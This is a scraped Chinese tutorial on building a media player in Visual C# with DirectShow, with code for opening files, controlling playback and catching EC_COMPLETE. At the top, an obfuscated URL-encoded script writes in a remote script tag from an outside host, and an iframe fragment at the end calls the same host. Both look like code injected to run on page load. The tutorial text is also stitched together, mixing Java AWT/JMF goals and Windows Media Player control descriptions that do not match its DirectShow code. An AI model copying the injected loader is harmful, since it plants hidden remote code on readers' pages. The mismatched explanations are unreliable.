HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
利用Visual C#开发一个媒体播放器
利用
Visual C#
开发一个媒体播放器
摘要:
了解如何在
Microsoft Visual C# .NET
中使用
DirectShow
控件,如何开发一个媒体播放器。按照本文介绍的操作步骤,您可以创建一个简单
Visual C#
应用
程序
,用来播放数字音频和视频。
简介
Microsoft Visual C#
是世界上最流行的编程语言,利用
Visual C#
的最新版本
Visual C# .NET
,您能够快速、有效地开发基于
Windows
窗体的应用
程序
,还可以为嵌入了
Microsoft Windows Media? Player 9 Series ActiveX
控件的应用
程序
添加新鲜、有趣而又非常实用的功能。
DirectShow
控件是一个标准的
ActiveX
控件,提供了大量的功能。
DirectShow
控件提供的功能包括:
·
数字媒体
文件
和流媒体的高级播放功能。
·
使用播放列表的功能。
·
播放
DVD
和
CD
的功能。
·
访问
Windows Media Player
中的
Media Library
(媒体库)。
·
处理元数据的功能。
·
支持字幕。
·
支持多种语言的音频。
·
控制
网络
连通性和访问相关统计信息的功能。
下面我们来看看构造这个媒体播放器要达到什么样的目标,确定了目标也就确定了代码量和
程序
的复杂程度。本文的媒体播放器要达到如下目标:
·
是一个菜单驱动的简单
AWT
应用。
·
包含一个
“
文件
”
菜单,
文件
菜单包含三个菜单项:
· “
打开
”
,用来打开媒体
文件
。
· “
循环
”
,是播放一次(默认),还是重复播放。
· “
退出
”
,退出
程序
。
·
可以在多种平台上运行。
·
核心功能通过
JMF
(
Java Media Framework
)
API
实现。
按照本文介绍的步骤,您将创建一个基于
Windows
窗体的基本应用
程序
,并在其中嵌入
Player
控件。您创建的示例应用
程序
具有如下特点:
·
创建
DirectShow
控件的一个实例。
·
利用
Windows Media Player
主互操作
程序
集提供组件对象模型
(COM)
互操作性。
·
允许用户打开并播放
Windows Media
文件
,尤其是
文件
扩展名为
.wma
或
.wmv
的
文件
。
·
创建供用户播放、暂停和停止数字媒体内容的传输控制按钮。
·
显示当前数字媒体
文件
的标题。
·
演示如何使用
Player
对象模型,包括使用属性、方法和事件的示例。
我的这个
程序
仅仅只是告诉大家如何用
DirectShow
在
C#
中做一个播放机
,
在这个
程序
中我们经要解决的一些小问题
:
1.
如何从你的磁盘上打开媒体
文件
2.
如何让工具条上的按钮起用和禁用
3.
如何设置状态栏的显示文字
4.
如何控制时间
5.
如何使用时间控件的事件
6.
如何用
DirectShow
来播放媒体
文件
7.
如何确定播放状态等等
...
下图显示了您将要创建的应用
程序
,其中正在播放名为
“Melow”
的数字音频
文件
,同时呈现了可视化效果。
图
1
·
本文假设您已经具备一定的
Visual C#
和
Visual Studio.NET
集成开发环境知识。
准备工作
在开始创建应用
程序
之前,您需要安装必要的软件并注册主互操作
程序
集
(QuartzTypeLib)
。
这里简单介绍
DirectShow
接口:
播放视屏和声音
文件
我们要用到
DiectX
为我们提供的
DirectShow
组件
.
使用这个接口可以让你方便的播放那些共用的影像和声音
文件
.
你要做的仅仅只是安装
DirectShow
接口和使用它的功能函数和配置正确的接口参数而已
.
不幸的是
.NET
并不正式支持
DirectX.
是的也许你听说
DirectX9
支持是吗
?
是的
,
不过在最终版敲定的那一天还没来
,
我们都得不到最好的效果
.
但无论如何我们还是要用的不是吗
?
要不这篇文章得作废了
.
是的
,
也许你用过
VB
,
对了
,
就是它
,
我们正是要用到那个
.
开始项目
在安装必要软件并注册
QuartzTypeLib
之后,您就可以启动
Visual C#
,开始为示例应用
程序
创建项目。下面我将给大家介绍这一过程的操作步骤。
创建项目
按以下步骤创建一个空的项目:
1.
启动
Visual Studio .NET
,然后单击
New Project
(新建项目)。
2.
在
Visual C# Projects
(
Visual C#
项目)
文件
夹中单击
Windows Application
(
Windows
应用
程序
),键入新项目的名称(最好为
DirectShow
),然后单击
OK
(确定)。
Visual C#
使用默认的
Windows
窗体
“Form
1”
创建一个新的项目。
3.
这个名称并没有特别的意义或用处,所以请在
Properties
(属性)窗口中将窗体名称更改为
frmPlayMedia
,将窗体文本更改为
“
媒体播放器
”
。
在项目中添加对
DirectShow
的引用
按照以下步骤在项目中添加一个对
DirectShow
的引用:
1.
打开
Visual Studio
工具箱,然后单击
Components
(组件)显示该面板。
2.
右击面板,然后单击
Customize Toolbox
(自定义工具箱),显示对话框。
3.
在
COM Components
(
COM
组件)选项卡上,选中
Interop.QuartzTypeLib.dll
。(如果
Interop.QuartzTypeLib.dll
由于某种原因未列出,则单击
Browse [
浏览
]
并查找名为
QuartzTypeLib.dll
的
文件
。)
4.
单击
OK
(确定)关闭对话框。
图
2
要在代码中使用
DirectShow
,您需要添加一行代码,以引用
DirectShow
命名空间。在窗体代码窗口的顶部,将以下代码添加到所有声明语句之前:
using QuartzTypeLib;
using
语句必须在所有
Options
语句(本项目中并未使用)之后,并且在所有其他代码之前。添加该语句后。
开发应用
程序
创建通过
PIA
与
Framework
连接的
Player
控件实例之后,您可以向窗体中添加所需的其他元素,并编写完成实际操作的代码。
添加
Windows
窗体控件
1.
在
View
(视图)菜单中,单击
Designer
(设计器),或者单击
Solution Explorer
(解决方案资源管理器)中的
View Designer
(视图设计器)按钮,切换到窗体设计器。
2.
在窗体上增加
文件
、播放、信息等菜单。
3.
在工具箱的
Windows Forms
(
Windows
窗体)面板中,为您的窗体添加一个工具栏、一个状态栏和图片
imageList
。
4.
在
Properties
(属性)窗口中,将工具栏的名称更改为
toolBar1
,将在
Buttons
上增加
4
个按钮。状态栏的名称更改为
statusBar1,
并分别增加三个
Panel
。
5.
在工具箱的面板中,为您的窗体添加一个面版
panel1
。
6.
增加一个定时器
timer1
。
7.
调整控件在窗体中的排列方式,使之符合您的需要而且方便用户使用。下图为
Visual Studio Designer
(设计器)中完成后的窗体布局。
图
3
编写代码
如何打开你想要媒体
文件
?
第一步是编写在
frmPlayMedia
中打开
Windows Media
文件
的代码。要自动切换到
Code
(代码)视图并编辑打开菜单的
Click
事件处理
程序
(menuItem2_Click)
的代码,请双击窗体上的
“
工具栏
”
按钮。将以下代码添加到事件处理
程序
中:
还记得吗
"
文件
->
打开
..."
是的几乎每个使用
windows
的人都会这样操作
.
如何实现
?
很简单看看下面的代码
:
OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Filter = "Media Files|*.mpg;*.avi;*.wma;*.mov;*.wav;*.mp2;*.mp3|All Files|*.*";
if (DialogResult.OK == openFileDialog.ShowDialog())
{
….
}
看吧很简单是吗?记得写一个函数把它放进去。当你点击
OK
按钮的时候,
DirectShow
接口就会得到你想要播放的
文件
。下图解释了它是如何工作的。
DirectShow
为多媒体流回放提供最基本的服务,这些多媒体流可以是本地
文件
,还可以是
服务器
传输过来的。特别的,
DirectShow
可以支持视频回放,支持以不同的
文件
和流格式压缩视频内容,包括
Windows Media
、
MPEG
、
AVI
和
WAV
。
在
DirectShow
的核心处,服务是组件的模块化集合,称为过滤器,可以根据媒体类型排列成过滤器图。过滤器可以操作数据流,如读入、分析、解码、格式化或渲染。
过滤器以树型进行排列,这棵树称为过滤器树,通过过滤器树管理器(
Filter Graph Manager
,简称
FGM)
进行管理。使用
FGM
应用
程序
可以通过使用
Microsoft Windows Media Player
控件间接控制过滤器树,还可以通过调用
COM
接口方法直接控制。
DirectShow
过滤器树(参阅图
1)
由从源到目标渲染器的有向过滤器序列组成,所有这些通过输入和输出过滤器引脚连接。过滤器引脚协商它们将支持哪些媒体类型。
FGM
控制树过滤器之间的多媒体数据流。因为
DirectShow
有一个灵活的、可重配置的过滤器树体系结构,因此
DirectShow
可以使用同样的软件成分支持多种媒体类型的回放和分流。开发人员还可以通过编写自己的过滤器扩展
DirectShow
多媒体支持。
过滤器
过滤器是注册的
DirectShow
类,它执行许多媒体信息处理任务。这些任务包括:
获得源信息
(
例如,获得媒体流
)
分析
(
例如,在流上执行包读入、分离和格式化
)
转换
(
例如,解码
WMA
和
MPEG-4
音频和视频流
)
渲染
(
例如,在适当的时候产生音频
PCM
或者视频
RGB/YUV
输出,将数据传给
DirectSound
和
DirectDraw)
过滤器使用几种类型的接口,例如引脚、计数器、传送器和时钟接口,来执行它们的任务。过滤器实现和开放了许多接口。
FGM
可以使用这些接口创建、连接和控制树。过滤器经常实现包含下列方法的
IBaseFilter
接口:
运行、停止和暂停过滤器状态。
恢复过滤器和厂商信息。
得到和设置参考时钟。
恢复过滤器状态信息。
枚举过滤器引线。
重建过滤器树时定位引脚
用户单击
“
打开
”
时,这段代码将显示一个对话框,供用户在计算机上浏览并选择要播放的
.wma
或
.wmv
文件
。用户选择
文件
(并单击
“
确定
”
)时,代码将
Player
的
URL
属性设置为用户选择的
文件
。由于
Player
的
autoStart
属性在默认情况下设置为
True
,所以
Player
立即打开并播放用户选择的数字媒体
文件
。
接下来,添加播放
/
暂停按钮的代码。在代码窗口中,在停止、暂停菜单中单击,然后,在方法名称列表中单击
Click
。将以下代码添加到
Visual C#
为您创建的
Click
事件处理
程序
中:
看看下面的代码是如何实现的:
CleanUp();
m_objFilterGraph = new FilgraphManager();
m_objFilterGraph.RenderFile(openFileDialog.FileName);
m_objBasicAudio = m_objFilterGraph as IBasicAudio;
try
{
m_objVideoWindow = m_objFilterGraph as IVideoWindow;
m_objVideoWindow.Owner = (int) panel1.Handle;
m_objVideoWindow.WindowStyle = WS_CHILD | WS_CLIPCHILDREN;
m_objVideoWindow.SetWindowPosition(panel1.ClientRectangle.Left,
panel1.ClientRectangle.Top,
panel1.ClientRectangle.Width,
panel1.ClientRectangle.Height);
}
catch (Exception ex)
{
m_objVideoWindow = null;
}
m_objMediaEvent = m_objFilterGraph as IMediaEvent;
m_objMediaEventEx = m_objFilterGraph as IMediaEventEx;
m_objMediaEventEx.SetNotifyWindow((int) this.Handle, WM_GRAPHNOTIFY, 0);
m_objMediaPosition = m_objFilterGraph as IMediaPosition;
m_objMediaControl = m_objFilterGraph as IMediaControl;
//
如何来播放
,
暂停
,
停止
?
简单这些函数看字面也知道
.
//
m_objMediaControl.Run();//
播放
m_objMediaControl.Pause();//
暂停
m_objMediaControl.Stop();//
停止
//
这段代码非常简单。当用户单击播放
/
暂停按钮时,代码将检查
Player
的
playState
属性。如果
Player
正在播放数字媒体
文件
,代码就会暂停
文件
的播放; 如果
Player
已经暂停或停止,代码就再次启动
Player
播放
文件
。
OK,
在来看我们是如何控制时间进度的
?
//
private void timer1_Tick(object sender, System.EventArgs e)
{
if (m_CurrentStatus == MediaStatus.Running)
{
UpdateStatusBar();
}
}
看见上面那个
UpdateStatusBar();
这里是让它没
100ms
更新一次状态栏
.
代码如下
:
private void UpdateStatusBar()
{
switch (m_CurrentStatus)
{
case MediaStatus.None : statusBarPanel1.Text = "Stopped"; break;
case MediaStatus.Paused : statusBarPanel1.Text = "Paused "; break;
case MediaStatus.Running: statusBarPanel1.Text = "Running"; break;
case MediaStatus.Stopped: statusBarPanel1.Text = "Stopped"; break;
}
if (m_objMediaPosition != null)
{
int s = (int) m_objMediaPosition.Duration;
int h = s / 3600;
int m = (s - (h * 3600)) / 60;
s = s - (h * 3600 + m * 60);
statusBarPanel2.Text = String.Format("{0:D2}:{1:D2}:{2:D2}", h, m, s);
s = (int) m_objMediaPosition.CurrentPosition;
h = s / 3600;
m = (s - (h * 3600)) / 60;
s = s - (h * 3600 + m * 60);
statusBarPanel3.Text = String.Format("{0:D2}:{1:D2}:{2:D2}", h, m, s);
}
else
{
statusBarPanel2.Text = "00:00:00";
statusBarPanel3.Text = "00:00:00";
}
}
还有一个问题
程序
怎么能够知道它播放完了
?
这会有点麻烦了,想想看有什么办法呢?对了,
windows
是消息驱动的。那找找看有什么消息。有的就
EC_COMPLETE
。还记得
"WndProc"
它吗?是的,我的老朋友,这次我们必须要改写它来捕获
EC_COMPLETE
消息。这个消息是
DirectShow
通知父窗体,播放结束了。
protected override void WndProc(ref Message m)
{
if (m.Msg == WM_GRAPHNOTIFY)
{
int lEventCode;
int lParam1, lParam2;
while (true)
{
try
{
m_objMediaEventEx.GetEvent(out lEventCode,out lParam1,out lParam2,0);
m_objMediaEventEx.FreeEventParams(lEventCode, lParam1, lParam2);
if (lEventCode == EC_COMPLETE)
{
m_objMediaControl.Stop();
m_objMediaPosition.CurrentPosition = 0;
m_CurrentStatus = MediaStatus.Stopped;
UpdateStatusBar();
UpdateToolBar();
}
}
catch (Exception)
{
break;
}
}
}
base.WndProc(ref m);
}
只要播放状态改变,上述代码就会运行。如果
Player
正在播放(用户打开
文件
时就处于播放状态,因为
autoStart
设置为
True
),代码将启用播放
/
暂停按钮和停止按钮,以便用户执行操作。之后,代码将播放
/
暂停按钮的文字更改为
“
暂停
”
,这样用户就可以使用该按钮暂停播放过程。最后,代码检索当前数字媒体
文件
的标题,并更新标题标签的文字以显示标题。
如果
Player
被暂停(用户单击了播放
/
暂停按钮),代码会将播放
/
暂停按钮的文字更改为
“
播放
”
,以提示用户使用该按钮可以恢复播放。
如果
Player
被停止(用户单击了停止按钮),代码将禁用停止按钮(因
Player
已经停止工作)并将播放
/
暂停按钮的文字恢复为默认值
“
播放
”
。
一切都结束了
,
现在要做的事就是做些来找一部影片来享受一下自己的成果了
.
编写完示例项目的代码之后,您可以生成并运行解决方案。
生成解决方案
在
Build
(生成)菜单中单击
Build Solution
(生成解决方案)。
Visual Studio
开始编译并生成项目。如果键入内容全部正确,生成过程将顺利完成,不会出现任何错误。如果生成报告错误,则请检查您的代码并纠正错误。
使用示例应用
程序
要在调试器中运行项目,请按键盘上的
F5
键。如果出现
“
查看生成的代码
”
主题中介绍的未处理的异常,则应该停止调试会话,删除或注释掉生成代码中的相应行,然后再按
F5
键。
您可以单击
“
打开
”
查找
.wma
或
.wmv
文件
(究竟选择何种
文件
,取决于您在
“
打开
”
对话框中选择的
文件
类型)。选择某个
文件
并单击
“
确定
”
之后,
“
打开
”
对话框关闭,开始播放数字媒体
文件
,传输控制按钮的状态也随之改变。这时您就可以利用传输控制按钮来暂停、重新开始或完全停止播放。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">